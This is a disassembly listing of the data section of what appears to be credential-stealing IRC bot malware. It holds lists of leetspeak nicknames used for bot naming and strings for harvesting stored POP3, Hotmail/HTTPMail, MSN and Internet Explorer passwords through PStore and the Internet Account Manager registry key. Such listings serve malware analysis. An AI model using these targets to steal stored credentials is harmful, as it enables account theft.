		dd offset aDzlim	; "DzliM"
		dd offset aDevran	; "DeVran"
		dd offset aArd4k	; "ard4k"
		dd offset aKeyifli	; "keyifli"
		dd offset aMuratm_	; "muratm_"
		dd offset aHak4n3	; "hak4n3"
		dd offset aIrz4l	; "IRZ4L"
		dd offset aAmth4n	; "AMTH4N"
		dd offset aEmr3e	; "Emr3e"
		dd offset aElm4zyok	; "elm4zyok"
		dd offset aEsm3rkiz	; "Esm3rkiz"
		dd offset aKeb1kec	; "keb1kec"
		dd offset aFl0rd	; "FL0RD"
		dd offset aH0ly1	; "h0ly1"
		dd offset aMahinure	; "MAHINURE"
		dd offset aEllesme	; "Ellesme"
		dd offset aAkut1	; "akut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aS3vis	; "S3ViS"
		dd offset aSugaboi	; "SUGABOi"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAd4lim	; "AD4LIM"
		dd offset aUmut00	; "umut00"
		dd offset aAnk32	; "ANK32"
		dd offset aDjmace	; "DJMACE"
		dd offset aAnkart	; "Ankart"
		dd offset aF3n3r	; "F3N3R"
		dd offset aH4yr4n	; "h4yr4n"
		dd offset aAng3lg4l	; "ang3lg4l"
		dd offset aK4pk		; "k4pk"
		dd offset aAchill3s	; "Achill3s"
		dd offset aT3gm3n	; "T3GM3N"
		dd offset aKot4n	; "kot4n"
		dd offset aSevdan	; "sevdan"
		dd offset aErkaaaa	; "ERKAAAA"
		dd offset aAlcatrazak	; "alcatraZAK"
		dd offset aA44mmm	; "a44mmm"
		dd offset aB1rs3n	; "b1rs3n"
		dd offset aYab4nc	; "yab4nc"
		dd offset aD3vre	; "d3vre"
		dd offset aErk3nnn	; "erk3nnn"
		dd offset aAnkm4a	; "ankM4a"
		dd offset aAd3m28	; "Ad3m28"
		dd offset aMaxs1lla	; "maxs1lla"
		dd offset aM41st	; "M41ST"
		dd offset aAd33		; "Ad33"
		dd offset aFirt		; "firt"
		dd offset aAta29111	; "Ata29111"
		dd offset aK00oray	; "K00ORAY"
		dd offset aAkd3nnan	; "akd3nnan"
		dd offset aLizmirlm	; "Lizmirlm"
		dd offset aUlaru	; "ularu"
		dd offset aNe__		; "NE__"
		dd offset aPassenger	; "passenger"
		dd offset aTr0pikal	; "tr0pikal"
		dd offset aC00l30m	; "c00l30m"
		dd offset aC3m39	; "c3m39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN``"
		dd offset aDallas	; "DALLAS"
		dd offset aProm3theus	; "prom3theus"
		dd offset aMaverick	; "MavericK"
		dd offset aAdammo	; "ADAMMO"
		dd offset aCumhur	; "cumhur"
		dd offset aBiatch	; "biatch"
		dd offset aW4nt3d	; "W4NT3D"
		dd offset aBaby		; "baby"
		dd offset aPizza	; "pizza"
		dd offset aFat		; "fat"
		dd offset aChild	; "child"
		dd offset aMoon		; "moon"
		dd offset aMan		; "man"
		align 10h
off_44F6A0	dd offset aSh3x		; DATA XREF: sub_426761+4Er
					; sub_426761+F8r
					; "sh3x"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset off_44F9D0
		dd offset off_44F9CC
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex		; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuf		; "|luf|"
		dd offset aWikd		; "|wikd"
		dd offset aSi		; "si}}"
		dd offset aQ809		; "Q809"
		dd offset aDd8A		; "|dd8|a"
		dd offset aB_2		; "b"
		dd offset word_43EF74
		dd offset off_45004E+2
		dd offset aE_0		; "e"
		dd offset aF_3		; "f"
		dd offset aG_3		; "g"
		dd offset asc_450044	; "h"
		dd offset dword_450058
		dd offset a__2		; "_"
		dd offset aJ_3		; "j"
		dd offset aK_4		; "k"
		dd offset asc_450038	; "l"
		dd offset aM_7		; "m"
		dd offset aN_5		; "n"
		dd offset aO_2		; "o"
		dd offset dword_450054
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset dword_450060
		dd offset dword_45005C
		dd offset aV_3		; "v"
		dd offset dword_450064
		dd offset dword_43AB88
		dd offset aY		; "y"
		dd offset aZ_5		; "z"
		dd offset aHay		; "hay"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aDf		; "df"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTry		; "try"
		dd offset aTrick	; "trick"
		dd offset off_44F924
		dd offset aZ_5		; "z"
		dd offset aG_3		; "g"
		dd offset aS_2		; "s"
		dd offset aQ		; "q"
		dd offset aAfk		; "afk"
		dd offset aAway		; "away"
		dd offset dword_44F910
		dd offset dword_44F908
		dd offset off_44F904
		dd offset aBbl		; "|bbl"
		dd offset aW00i3s	; "w00i3s-"
		dd offset aJunk		; "junk"
		dd offset off_44F8E8
		dd offset aF_2		; "F"
		dd offset aM		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset off_44F8DC
		dd offset aAa		; "^AA^"
		dd offset aB_2		; "b"
		dd offset byte_454A54
		dd offset aSl33pin	; "Sl33piN"
		dd offset byte_454A54
		dd offset byte_454A54
		dd offset aFook		; "|Fook|"
		dd offset aFree		; "Free"
		dd offset byte_454A54
		dd offset byte_454A54
		dd offset asc_43D940	; "X"
		dd offset byte_454A54
		dd offset off_44F8B8
		dd offset aGirl		; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset off_44F89C
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0z	; "mof0z"
		dd offset aMofoz	; "mofoz"
		dd offset aTotz		; "totz"
		dd offset aLol0lzz	; "lol0lzz"
		dd offset aLololz	; "lololz"
		dd offset dword_44F860
		dd offset dword_44F858
		dd offset dword_44F850
		dd offset dword_44F848
		dd offset dword_44F844
		dd offset dword_44F840
		dd offset dword_44F83C
dword_44F83C	dd 7536h	dword_44F840	dd 7538h	dword_44F844	dd 347Ch	dword_44F848	dd 756F7934h, 7Dhdword_44F850	dd 7C737534h, 0	dword_44F858	dd 65657266h, 7Chdword_44F860	dd 7C617Ch	aLololz		db 'lololz',0           ; DATA XREF: .text:0044F81Co
		align 4
aLol0lzz	db 'lol0lzz',0          ; DATA XREF: .text:0044F818o
aTotz		db 'totz',0             ; DATA XREF: .text:0044F814o
		align 4
aMofoz		db 'mofoz',0            ; DATA XREF: .text:0044F810o
		align 4
aMof0z		db 'mof0z',0            ; DATA XREF: .text:0044F80Co
		align 4
aMuha		db 'muha',0             ; DATA XREF: .text:0044F808o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: .text:0044F804o
		align 4
off_44F89C	dd offset byte_616861	; DATA XREF: .text:0044F800o
aShit		db 'shit',0             ; DATA XREF: .text:0044F7FCo
		align 4
aGurl		db 'gurl',0             ; DATA XREF: .text:0044F7F8o
		align 10h
aGirl		db 'GIRL',0             ; DATA XREF: .text:0044F7F4o
		align 4
off_44F8B8	dd offset word_594F42	; DATA XREF: .text:0044F7F0o
aFree		db 'Free',0             ; DATA XREF: .text:0044F7DCo
		align 4
aFook		db '|Fook|',0           ; DATA XREF: .text:0044F7D8o
		align 4
aSl33pin	db 'Sl33piN',0          ; DATA XREF: .text:0044F7CCo
aAa		db '^AA^',0             ; DATA XREF: .text:0044F7C0o
		align 4
off_44F8DC	dd offset byte_646153	; DATA XREF: .text:0044F7BCo
aLuvu		db 'LUVU',0             ; DATA XREF: .text:0044F7B8o
		align 4
off_44F8E8	dd offset byte_5F7C5F	; DATA XREF: .text:0044F7ACo
aJunk		db 'junk',0             ; DATA XREF: .text:0044F7A8o
		align 4
aW00i3s		db 'w00i3s-',0          ; DATA XREF: .text:0044F7A4o
aBbl		db '|bbl',0             ; DATA XREF: .text:0044F7A0o
		align 4
off_44F904	dd offset loc_425240+2	; DATA XREF: .text:0044F79Co
dword_44F908	dd 6B66617Ch, 0	dword_44F910	dd 6177617Ch, 79haAway		db 'away',0             ; DATA XREF: .text:0044F790o
		align 10h
aAfk		db 'afk',0              ; DATA XREF: .text:0044F78Co
off_44F924	dd offset byte_63636D	; DATA XREF: .text:0044F778o
aTrick		db 'trick',0            ; DATA XREF: .text:0044F774o
		align 10h
aTry		db 'try',0              ; DATA XREF: .text:0044F770o
aLuvy		db 'luvy',0             ; DATA XREF: .text:0044F76Co
		align 4
aUi		db 'ui',0               ; DATA XREF: .text:0044F768o
		align 10h
aDf		db 'df',0               ; DATA XREF: .text:0044F764o
		align 4
aRt		db 'rt',0               ; DATA XREF: .text:0044F760o
		align 4
aGf		db 'gf',0               ; DATA XREF: .text:0044F75Co
		align 4
aTy		db 'ty',0               ; DATA XREF: .text:0044F758o
		align 10h
aRg		db 'rg',0               ; DATA XREF: .text:0044F754o
		align 4
aHay		db 'hay',0              ; DATA XREF: .text:0044F750o
aRs		db 'rs',0               ; DATA XREF: .text:0044F730o
		align 4
aO_2:					; DATA XREF: .text:0044F724o
		unicode	0, <o>,0
a__2:					; DATA XREF: .text:0044F70Co
		unicode	0, <_>,0
aDd8A		db '|dd8|a',0           ; DATA XREF: .text:0044F6E8o
		align 4
aQ809		db 'Q809',0             ; DATA XREF: .text:0044F6E4o
		align 4
aSi		db 'si}}',0             ; DATA XREF: .text:0044F6E0o
		align 4
aWikd		db '|wikd',0            ; DATA XREF: .text:0044F6DCo
		align 4
aLuf		db '|luf|',0            ; DATA XREF: .text:0044F6D8o
		align 4
aGens		db '{gens|',0           ; DATA XREF: .text:0044F6D4o
		align 4
aSex		db '{sex}',0            ; DATA XREF: .text:0044F6D0o
		align 4
aHub		db '{hub}',0            ; DATA XREF: .text:0044F6CCo
		align 4
aLuck		db '|luck|',0           ; DATA XREF: .text:0044F6C8o
		align 4
aSuck		db '|suck|',0           ; DATA XREF: .text:0044F6C4o
		align 4
aTot		db '-|tot|',0           ; DATA XREF: .text:0044F6C0o
		align 4
aWoh		db '|woh|',0            ; DATA XREF: .text:0044F6BCo
		align 4
aTambe		db '|tambe|',0          ; DATA XREF: .text:0044F6B8o
off_44F9CC	dd offset dword_67616C	; DATA XREF: .text:0044F6B4o
off_44F9D0	dd offset word_646162	; DATA XREF: .text:0044F6B0o
aTree		db 'tree',0             ; DATA XREF: .text:0044F6ACo
		align 4
aZex		db 'zex',0              ; DATA XREF: .text:0044F6A8o
aLez		db 'lez',0              ; DATA XREF: .text:0044F6A4o
aSh3x		db 'sh3x',0             ; DATA XREF: .text:off_44F6A0o
		align 4
aMan		db 'man',0              ; DATA XREF: .text:0044F698o
aMoon		db 'moon',0             ; DATA XREF: .text:0044F694o
		align 4
aChild		db 'child',0            ; DATA XREF: .text:0044F690o
		align 10h
aFat		db 'fat',0              ; DATA XREF: .text:0044F68Co
aPizza		db 'pizza',0            ; DATA XREF: .text:0044F688o
		align 4
aBaby		db 'baby',0             ; DATA XREF: .text:0044F684o
		align 4
aW4nt3d		db 'W4NT3D',0           ; DATA XREF: .text:0044F680o
		align 4
aBiatch		db 'biatch',0           ; DATA XREF: .text:0044F67Co
		align 4
aCumhur		db 'cumhur',0           ; DATA XREF: .text:0044F678o
		align 4
aAdammo		db 'ADAMMO',0           ; DATA XREF: .text:0044F674o
		align 4
aMaverick	db 'MavericK',0         ; DATA XREF: .text:0044F670o
		align 10h
aProm3theus	db 'prom3theus',0       ; DATA XREF: .text:0044F66Co
		align 4
aDallas		db 'DALLAS',0           ; DATA XREF: .text:0044F668o
		align 4
aTeoman		db 'TEOMAN``',0         ; DATA XREF: .text:0044F664o
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: .text:0044F660o
		align 4
aC3m39		db 'c3m39',0            ; DATA XREF: .text:0044F65Co
		align 10h
aC00l30m	db 'c00l30m',0          ; DATA XREF: .text:0044F658o
aTr0pikal	db 'tr0pikal',0         ; DATA XREF: .text:0044F654o
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: .text:0044F650o
		align 10h
aNe__		db 'NE__',0             ; DATA XREF: .text:0044F64Co
		align 4
aUlaru		db 'ularu',0            ; DATA XREF: .text:0044F648o
		align 10h
aLizmirlm	db 'Lizmirlm',0         ; DATA XREF: .text:0044F644o
		align 4
aAkd3nnan	db 'akd3nnan',0         ; DATA XREF: .text:0044F640o
		align 4
aK00oray	db 'K00ORAY',0          ; DATA XREF: .text:0044F63Co
aAta29111	db 'Ata29111',0         ; DATA XREF: .text:0044F638o
		align 4
aFirt		db 'firt',0             ; DATA XREF: .text:0044F634o
		align 4
aAd33		db 'Ad33',0             ; DATA XREF: .text:0044F630o
		align 4
aM41st		db 'M41ST',0            ; DATA XREF: .text:0044F62Co
		align 4
aMaxs1lla	db 'maxs1lla',0         ; DATA XREF: .text:0044F628o
		align 10h
aAd3m28		db 'Ad3m28',0           ; DATA XREF: .text:0044F624o
		align 4
aAnkm4a		db 'ankM4a',0           ; DATA XREF: .text:0044F620o
		align 10h
aErk3nnn	db 'erk3nnn',0          ; DATA XREF: .text:0044F61Co
aD3vre		db 'd3vre',0            ; DATA XREF: .text:0044F618o
		align 10h
aYab4nc		db 'yab4nc',0           ; DATA XREF: .text:0044F614o
		align 4
aB1rs3n		db 'b1rs3n',0           ; DATA XREF: .text:0044F610o
		align 10h
aA44mmm		db 'a44mmm',0           ; DATA XREF: .text:0044F60Co
		align 4
aAlcatrazak	db 'alcatraZAK',0       ; DATA XREF: .text:0044F608o
		align 4
aErkaaaa	db 'ERKAAAA',0          ; DATA XREF: .text:0044F604o
aSevdan		db 'sevdan',0           ; DATA XREF: .text:0044F600o
		align 4
aKot4n		db 'kot4n',0            ; DATA XREF: .text:0044F5FCo
		align 4
aT3gm3n		db 'T3GM3N',0           ; DATA XREF: .text:0044F5F8o
		align 4
aAchill3s	db 'Achill3s',0         ; DATA XREF: .text:0044F5F4o
		align 10h
aK4pk		db 'k4pk',0             ; DATA XREF: .text:0044F5F0o
		align 4
aAng3lg4l	db 'ang3lg4l',0         ; DATA XREF: .text:0044F5ECo
		align 4
aH4yr4n		db 'h4yr4n',0           ; DATA XREF: .text:0044F5E8o
		align 4
aF3n3r		db 'F3N3R',0            ; DATA XREF: .text:0044F5E4o
		align 4
aAnkart		db 'Ankart',0           ; DATA XREF: .text:0044F5E0o
		align 4
aDjmace		db 'DJMACE',0           ; DATA XREF: .text:0044F5DCo
		align 4
aAnk32		db 'ANK32',0            ; DATA XREF: .text:0044F5D8o
		align 4
aUmut00		db 'umut00',0           ; DATA XREF: .text:0044F5D4o
		align 4
aAd4lim		db 'AD4LIM',0           ; DATA XREF: .text:0044F5D0o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: .text:0044F5CCo
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: .text:0044F5C8o
aSugaboi	db 'SUGABOi',0          ; DATA XREF: .text:0044F5C4o
aS3vis		db 'S3ViS',0            ; DATA XREF: .text:0044F5C0o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: .text:0044F5BCo
		align 4
aAkut1		db 'akut1',0            ; DATA XREF: .text:0044F5B8o
		align 10h
aEllesme	db 'Ellesme',0          ; DATA XREF: .text:0044F5B4o
aMahinure	db 'MAHINURE',0         ; DATA XREF: .text:0044F5B0o
		align 4
aH0ly1		db 'h0ly1',0            ; DATA XREF: .text:0044F5ACo
		align 4
aFl0rd		db 'FL0RD',0            ; DATA XREF: .text:0044F5A8o
		align 4
aKeb1kec	db 'keb1kec',0          ; DATA XREF: .text:0044F5A4o
aEsm3rkiz	db 'Esm3rkiz',0         ; DATA XREF: .text:0044F5A0o
		align 4
aElm4zyok	db 'elm4zyok',0         ; DATA XREF: .text:0044F59Co
		align 4
aEmr3e		db 'Emr3e',0            ; DATA XREF: .text:0044F598o
		align 4
aAmth4n		db 'AMTH4N',0           ; DATA XREF: .text:0044F594o
		align 4
aIrz4l		db 'IRZ4L',0            ; DATA XREF: .text:0044F590o
		align 4
aHak4n3		db 'hak4n3',0           ; DATA XREF: .text:0044F58Co
		align 4
aMuratm_	db 'muratm_',0          ; DATA XREF: .text:0044F588o
aKeyifli	db 'keyifli',0          ; DATA XREF: .text:0044F584o
aArd4k		db 'ard4k',0            ; DATA XREF: .text:0044F580o
		align 4
aDevran		db 'DeVran',0           ; DATA XREF: .text:0044F57Co
		align 4
aDzlim		db 'DzliM',0            ; DATA XREF: .text:0044F578o
		align 4
aCongu		db 'CoNGU',0            ; DATA XREF: .text:0044F574o
		align 4
aAlpay3m	db 'alpay3m',0          ; DATA XREF: .text:0044F570o
aBog4c3r	db 'bog4c3r',0          ; DATA XREF: .text:0044F56Co
aDonju4nm	db 'Donju4nm',0         ; DATA XREF: .text:0044F568o
		align 10h
aAnkh4h		db 'ankh4h',0           ; DATA XREF: .text:0044F564o
		align 4
aAte3e		db 'AtE3e',0            ; DATA XREF: .text:0044F560o
		align 10h
aAyla		db 'AYLA-',0            ; DATA XREF: .text:0044F55Co
		align 4
aAlb1na		db 'alb1na',0           ; DATA XREF: .text:0044F558o
		align 10h
aIzm1rm		db 'Izm1rm',0           ; DATA XREF: .text:0044F554o
		align 4
aAck0111	db 'ACK0111',0          ; DATA XREF: .text:0044F550o
aAnk32m		db 'ank32m',0           ; DATA XREF: .text:0044F54Co
		align 4
aTurkyballs	db 'turkyballs',0       ; DATA XREF: .text:0044F548o
		align 4
aAhm3t		db 'ahm3t',0            ; DATA XREF: .text:0044F544o
		align 4
aPelinci	db 'pelinci',0          ; DATA XREF: .text:0044F540o
aBlackp34rl	db 'blackp34rl',0       ; DATA XREF: .text:0044F53Co
		align 10h
aRetg		db 'RETG-',0            ; DATA XREF: .text:0044F538o
		align 4
aSamy3li	db 'samy3li',0          ; DATA XREF: .text:0044F534o
aPiram1t	db 'PIRAM1T',0          ; DATA XREF: .text:0044F530o
aAslii		db 'aslii',0            ; DATA XREF: .text:0044F52Co
		align 10h
aErnesto	db 'ERNESTO',0          ; DATA XREF: .text:0044F528o
aHaticem	db 'haticem',0          ; DATA XREF: .text:0044F524o
aArzu		db 'ARZU',0             ; DATA XREF: .text:0044F520o
		align 4
aAhm3txtc	db 'Ahm3tXTC',0         ; DATA XREF: .text:0044F51Co
		align 4
aDczz		db 'dczz',0             ; DATA XREF: .text:0044F518o
		align 4
aXtczzz		db 'xTczzz',0           ; DATA XREF: .text:0044F514o
		align 4
aXc4l		db 'XC4L',0             ; DATA XREF: .text:0044F510o
		align 4
aBlondu		db 'Blondu-',0          ; DATA XREF: .text:0044F50Co
aRot0r		db 'rot0r',0            ; DATA XREF: .text:0044F508o
		align 4
aAkw1dz		db 'AKW1Dz',0           ; DATA XREF: .text:0044F504o
		align 4
aBl0ndu		db 'Bl0ndu',0           ; DATA XREF: .text:0044F500o
		align 4
a_d		db '_d',0               ; DATA XREF: .text:0044F4FCo
		align 10h
aD_		db 'd_',0               ; DATA XREF: .text:0044F4F8o
		align 4
aDog		db 'dog-',0             ; DATA XREF: .text:0044F4F4o
		align 4
aNils		db 'Nils-',0            ; DATA XREF: .text:0044F4F0o
		align 4
aRyann		db 'ryann',0            ; DATA XREF: .text:0044F4ECo
		align 4
aSmok3yS	db 'smok3y-s',0         ; DATA XREF: .text:0044F4E4o
		align 4
aSmokeySn	db 'smokey-sn',0        ; DATA XREF: .text:0044F4E0o
		align 4
aR0t0		db 'r0t0',0             ; DATA XREF: .text:0044F4DCo
		align 4
aR0t0r		db 'r0t0r-',0           ; DATA XREF: .text:0044F4D8o
					; .text:0044F4E8o
		align 4
aSud3nur	db 'SUD3NUR',0          ; DATA XREF: .text:0044F4D4o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: .text:0044F4D0o
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: .text:0044F4CCo
		align 4
aTekir		db 'tekir',0            ; DATA XREF: .text:0044F4C8o
		align 4
aMERV		db 'M-E-R-V',0          ; DATA XREF: .text:0044F4C4o
aTrr3nd		db 'trr3nd',0           ; DATA XREF: .text:0044F4C0o
		align 4
aMel3kk		db 'mel3kk',0           ; DATA XREF: .text:0044F4BCo
		align 4
aAk1n		db 'AK1N',0             ; DATA XREF: .text:0044F4B8o
		align 4
aM4ry		db 'M4RY-',0            ; DATA XREF: .text:0044F4B4o
		align 4
aJer1cho	db 'JER1CHO',0          ; DATA XREF: .text:0044F4B0o
aTolga38	db 'Tolga38',0          ; DATA XREF: .text:0044F4ACo
aMizsund4y	db 'mizsund4y',0        ; DATA XREF: .text:0044F4A8o
		align 10h
aIrm4ll		db 'irm4Ll',0           ; DATA XREF: .text:0044F4A4o
		align 4
aBenibi		db 'BeNiBi',0           ; DATA XREF: .text:0044F4A0o
		align 10h
aBerkkkko	db 'berkkkko',0         ; DATA XREF: .text:0044F49Co
		align 4
aHexa4a		db 'hexa4a',0           ; DATA XREF: .text:0044F498o
		align 4
aErk4nerkali	db 'erk4nerkali',0      ; DATA XREF: .text:0044F494o
aKandent	db 'kandent',0          ; DATA XREF: .text:0044F490o
aC4nsuu		db 'c4nsuu',0           ; DATA XREF: .text:0044F48Co
		align 10h
aR45h3r		db 'R45H3R',0           ; DATA XREF: .text:0044F488o
		align 4
aK3ncing	db 'K3ncing',0          ; DATA XREF: .text:0044F484o
aReshma		db 'reshma',0           ; DATA XREF: .text:0044F480o
		align 4
aCam3l		db 'CAM3L-',0           ; DATA XREF: .text:0044F47Co
		align 10h
aGirlzx		db 'GirLzx',0           ; DATA XREF: .text:0044F478o
		align 4
aIiimra		db 'iiimra',0           ; DATA XREF: .text:0044F474o
		align 10h
aC0redumpdd	db 'C0reDumpDd',0       ; DATA XREF: .text:0044F470o
		align 4
aPur3g0ld	db 'pur3g0ld',0         ; DATA XREF: .text:0044F46Co
		align 4
aK3rm1t		db 'k3rm1t',0           ; DATA XREF: .text:0044F468o
		align 10h
aM4n4e		db 'm4n4e',0            ; DATA XREF: .text:0044F464o
		align 4
aTr0ll3r	db 'tr0ll3r',0          ; DATA XREF: .text:0044F460o
aLisau		db 'Lisau',0            ; DATA XREF: .text:0044F45Co
		align 4
aNastsha	db 'nastsha',0          ; DATA XREF: .text:0044F458o
aH4xdd		db 'h4xdd-',0           ; DATA XREF: .text:0044F454o
		align 4
aR1mpy		db 'r1mpy',0            ; DATA XREF: .text:0044F450o
		align 10h
aJann0		db 'jann0',0            ; DATA XREF: .text:0044F44Co
		align 4
aBunty007	db 'bunty007',0         ; DATA XREF: .text:0044F448o
		align 4
aHev4l		db 'hev4l',0            ; DATA XREF: .text:0044F444o
		align 4
aCmecme		db 'cmecme',0           ; DATA XREF: .text:0044F440o
		align 4
aSe1nf3ld	db 'se1nf3ld',0         ; DATA XREF: .text:0044F43Co
		align 10h
aSeiny		db 'seiny',0            ; DATA XREF: .text:0044F438o
		align 4
aM4rcy		db 'm4rcy',0            ; DATA XREF: .text:0044F434o
		align 10h
aTalika		db 'Talika',0           ; DATA XREF: .text:0044F430o
		align 4
aShezzza	db 'Shezzza',0          ; DATA XREF: .text:0044F42Co
aPwntuuuu	db 'pwntuuuu',0         ; DATA XREF: .text:0044F428o
		align 4
aXtcXcal	db 'xTc-xCaL',0         ; DATA XREF: .text:0044F424o
		align 4
aXc4libr3	db 'xc4libr3',0         ; DATA XREF: .text:0044F420o
		align 4
aK3nnn		db 'k3nnn',0            ; DATA XREF: .text:0044F41Co
		align 4
aFl3xxxt3r	db 'fl3xxxt3r',0        ; DATA XREF: .text:0044F418o
		align 4
aKok00		db 'kok00',0            ; DATA XREF: .text:0044F414o
		align 10h
aM4le		db 'm4le',0             ; DATA XREF: .text:0044F410o
		align 4
aSw1n		db 'sw1n',0             ; DATA XREF: .text:0044F40Co
		align 10h
aC4r1nna	db 'C4r1nna',0          ; DATA XREF: .text:0044F408o
aKr1zha		db 'KR1ZHA',0           ; DATA XREF: .text:0044F404o
		align 10h
aEmilyia	db 'Emilyia',0          ; DATA XREF: .text:0044F400o
aEmilya		db 'emilya',0           ; DATA XREF: .text:0044F3FCo
		align 10h
aB0bm4rl3y	db 'B0BM4RL3Y',0        ; DATA XREF: .text:0044F3F8o
		align 4
aMax1xguy	db 'max1xguy',0         ; DATA XREF: .text:0044F3F4o
		align 4
aFar0oq		db 'far0oq',0           ; DATA XREF: .text:0044F3F0o
		align 10h
aSm4rt3		db 'SM4RT3',0           ; DATA XREF: .text:0044F3ECo
		align 4
aN_4:					; DATA XREF: .text:0044F3E4o
		unicode	0, <N>,0
aB_1:					; DATA XREF: .text:0044F3E0o
		unicode	0, <B>,0
aV_2:					; DATA XREF: .text:0044F3DCo
		unicode	0, <V>,0
aC_4:					; DATA XREF: .text:0044F3D8o
		unicode	0, <C>,0
aZ_4:					; DATA XREF: .text:0044F3D0o
		unicode	0, <Z>,0
asc_44FFDC:				; DATA XREF: .text:0044F3CCo
		unicode	0, <L>,0
aK_3:					; DATA XREF: .text:0044F3C8o
		unicode	0, <K>,0
aJ_2:					; DATA XREF: .text:0044F3C4o
		unicode	0, <J>,0
asc_44FFE8:				; DATA XREF: .text:0044F3C0o
		unicode	0, <H>,0
aG_2:					; DATA XREF: .text:0044F3BCo
		unicode	0, <G>,0
aF_2:					; DATA XREF: .text:0044F3B8o
					; .text:0044F7B0o
		unicode	0, <F>,0
aD_3:					; DATA XREF: .text:0044F3B4o
		unicode	0, <D>,0
aS_10:					; DATA XREF: .text:0044F3B0o
		unicode	0, <S>,0
aA_1:					; DATA XREF: .text:0044F3ACo
		unicode	0, <A>,0
aO_3:					; DATA XREF: .text:0044F3A4o
		unicode	0, <O>,0
aI_4:					; DATA XREF: .text:0044F3A0o
		unicode	0, <I>,0
aU_3:					; DATA XREF: .text:0044F39Co
		unicode	0, <U>,0
aY_3:					; DATA XREF: .text:0044F398o
		unicode	0, <Y>,0
aT_3:					; DATA XREF: .text:0044F394o
		unicode	0, <T>,0
aR_2:					; DATA XREF: .text:0044F390o
		unicode	0, <R>,0
aE_4:					; DATA XREF: .text:0044F38Co
		unicode	0, <E>,0
aW_2:					; DATA XREF: .text:0044F388o
		unicode	0, <W>,0
aQ_3:					; DATA XREF: .text:0044F384o
		unicode	0, <Q>,0
aM_7:					; DATA XREF: .text:0044F380o
					; .text:0044F71Co
		unicode	0, <m>,0
aN_5:					; DATA XREF: .text:0044F37Co
					; .text:0044F720o
		unicode	0, <n>,0
aB_2:					; DATA XREF: .text:0044F378o
					; .text:0044F6ECo ...
		unicode	0, <b>,0
aV_3:					; DATA XREF: .text:0044F374o
					; .text:0044F73Co
		unicode	0, <v>,0
aZ_5:					; DATA XREF: .text:0044F368o
					; .text:0044F74Co ...
		unicode	0, <z>,0
asc_450038:				; DATA XREF: .text:0044F364o
					; .text:0044F718o
		unicode	0, <l>,0
aK_4:					; DATA XREF: .text:0044F360o
					; .text:0044F714o
		unicode	0, <k>,0
aJ_3:					; DATA XREF: .text:0044F35Co
					; .text:0044F710o
		unicode	0, <j>,0
asc_450044:				; DATA XREF: .text:0044F358o
					; .text:0044F704o
		unicode	0, <h>,0
aG_3:					; DATA XREF: .text:0044F354o
					; .text:0044F700o ...
		unicode	0, <g>,0
aF_3		db 'f',0                ; DATA XREF: .text:0044F350o
					; .text:0044F6FCo
off_45004E	dd offset dword_640000	; DATA XREF: .text:off_44ED34o
					; .text:0044ED80o ...
		db 0
byte_450053	db 0			; DATA XREF: .text:0044ED70o
dword_450054	dd 70h							; .text:0044F340o ...
dword_450058	dd 69h							; .text:0044F708o
dword_45005C	dd 75h							; .text:0044F738o
dword_450060	dd 74h							; .text:0044F734o
dword_450064	dd 77h							; .text:0044F740o
aSPstore_dllNot	db '%s PStore.dll not loaded',0 ; DATA XREF: sub_423846+B1o
		align 4
aPop3Pass2	db 'POP3 Pass2',0       ; DATA XREF: sub_423919+29Co
		align 10h
aPop3Server	db 'POP3 Server',0      ; DATA XREF: sub_423919+250o
aPop3UserName	db 'POP3 User Name',0   ; DATA XREF: sub_423919+1FCo
		align 4
aHttpmailPass2	db 'HTTPMail Pass2',0   ; DATA XREF: sub_423919+15Fo
		align 4
aHotmail	db 'Hotmail',0          ; DATA XREF: sub_423919+144o
aHttpmailUserna	db 'HTTPMail UserName',0 ; DATA XREF: sub_423919+F3o
		align 4
aSoftwareMicr_1	db 'Software\Microsoft\Internet Account Manager\Accounts',0
					; DATA XREF: sub_423919+2Co
					; sub_423919+96o
		align 10h
aSNoPstoreEntri	db '%s No PStore entries found.',0 ; DATA XREF: sub_423C7A+909o
dword_45012C	dd 2207325h, 61724528h,	20646573h, 6C74754Fh, 206B6F6Fh
					; DATA XREF: sub_423C7A+87Eo
		dd 72707845h, 29737365h, 220023Ah, 702F6C28h, 20023A29h
		dd 3A73255Bh, 5D7325h
dword_45015C	dd 2207325h, 74754F28h,	6B6F6F6Ch, 70784520h, 73736572h
					; DATA XREF: sub_423C7A+83Ao
		dd 20023A29h, 2207325h,	702F6C28h, 20023A29h, 3A73255Bh
		dd 5D7325h
a220d5cc1	db '220d5cc1',0         ; DATA XREF: sub_423C7A+788o
		align 4
dword_450194	dd 2207325h, 4E534D28h,	2F444920h, 73736150h, 20023A29h
					; DATA XREF: sub_423C7A+750o
		dd 2F6C2802h, 23A2970h,	73255B20h, 5D73253Ah, 0
aB9819c52	db 'b9819c52',0         ; DATA XREF: sub_423C7A+5E9o
		align 4
dword_4501C8	dd 2207325h, 20454928h,	294C5255h, 2520023Ah, 28022073h
					; DATA XREF: sub_423C7A+5C4o
		dd 29702F6Ch, 5B20023Ah, 253A7325h, 5D73h
